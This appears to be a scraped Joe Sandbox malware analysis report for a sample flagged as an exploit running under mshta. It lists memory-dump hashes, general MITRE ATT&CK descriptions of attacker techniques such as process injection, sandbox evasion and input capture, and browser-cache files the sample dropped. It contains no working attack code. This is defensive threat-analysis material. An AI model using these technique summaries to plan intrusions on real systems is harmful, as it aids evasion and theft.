Source File: 00000008.00000003.992751284.0000000006790000.00000010.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_6790000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 4a652fedf2b9be76400b8a0dae2216056e21008dc9720986ca188f641a434c83
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 09670FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.1018738921.0000000009670000.00000010.00000800.00020000.00000000.sdmp, Offset: 09670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_9670000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 13162a54f37600da908b5cc880561d7ba0f8c0b4641ee466f0d46ed88e2221cd
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 09670F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.1018738921.0000000009670000.00000010.00000800.00020000.00000000.sdmp, Offset: 09670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_9670000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 13162a54f37600da908b5cc880561d7ba0f8c0b4641ee466f0d46ed88e2221cd
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 09670F99 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.1018738921.0000000009670000.00000010.00000800.00020000.00000000.sdmp, Offset: 09670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_9670000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 13162a54f37600da908b5cc880561d7ba0f8c0b4641ee466f0d46ed88e2221cd
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03870F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.1076327112.0000000003870000.00000010.00000800.00020000.00000000.sdmp, Offset: 03870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_3870000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction ID: 51ec2fc226732651857e7fd3860067c8cec1fa78247a6fc0243d0c145b97e5c5
Opcode Fuzzy Hash: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03870FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.1076327112.0000000003870000.00000010.00000800.00020000.00000000.sdmp, Offset: 03870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_3870000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction ID: 51ec2fc226732651857e7fd3860067c8cec1fa78247a6fc0243d0c145b97e5c5
Opcode Fuzzy Hash: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net . Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts` ) in order to discover the hostname to IP address mappings of remote systems.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Exploit.Siggen3.17149.11632.3300

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\MP98E46N\facextrade.com[1].xml

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\bootstrap-grid.min[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\bootstrap.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\camera[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\custom[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\facex_horizontal2-e1535501425981[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\flexslider[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\gtranslate-style24[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jflickrfeed[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jquery-1.7.2.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jquery-migrate-1.2.1.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jquery.mobile.customized.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\logo-slider-wp-public[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\magnific-popup[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\modernizr[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\owl.carousel[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\pt-br[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\style[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\swfobject[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\arrow_down[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\camera.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\cherry-plugin[1].css

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.11632.3300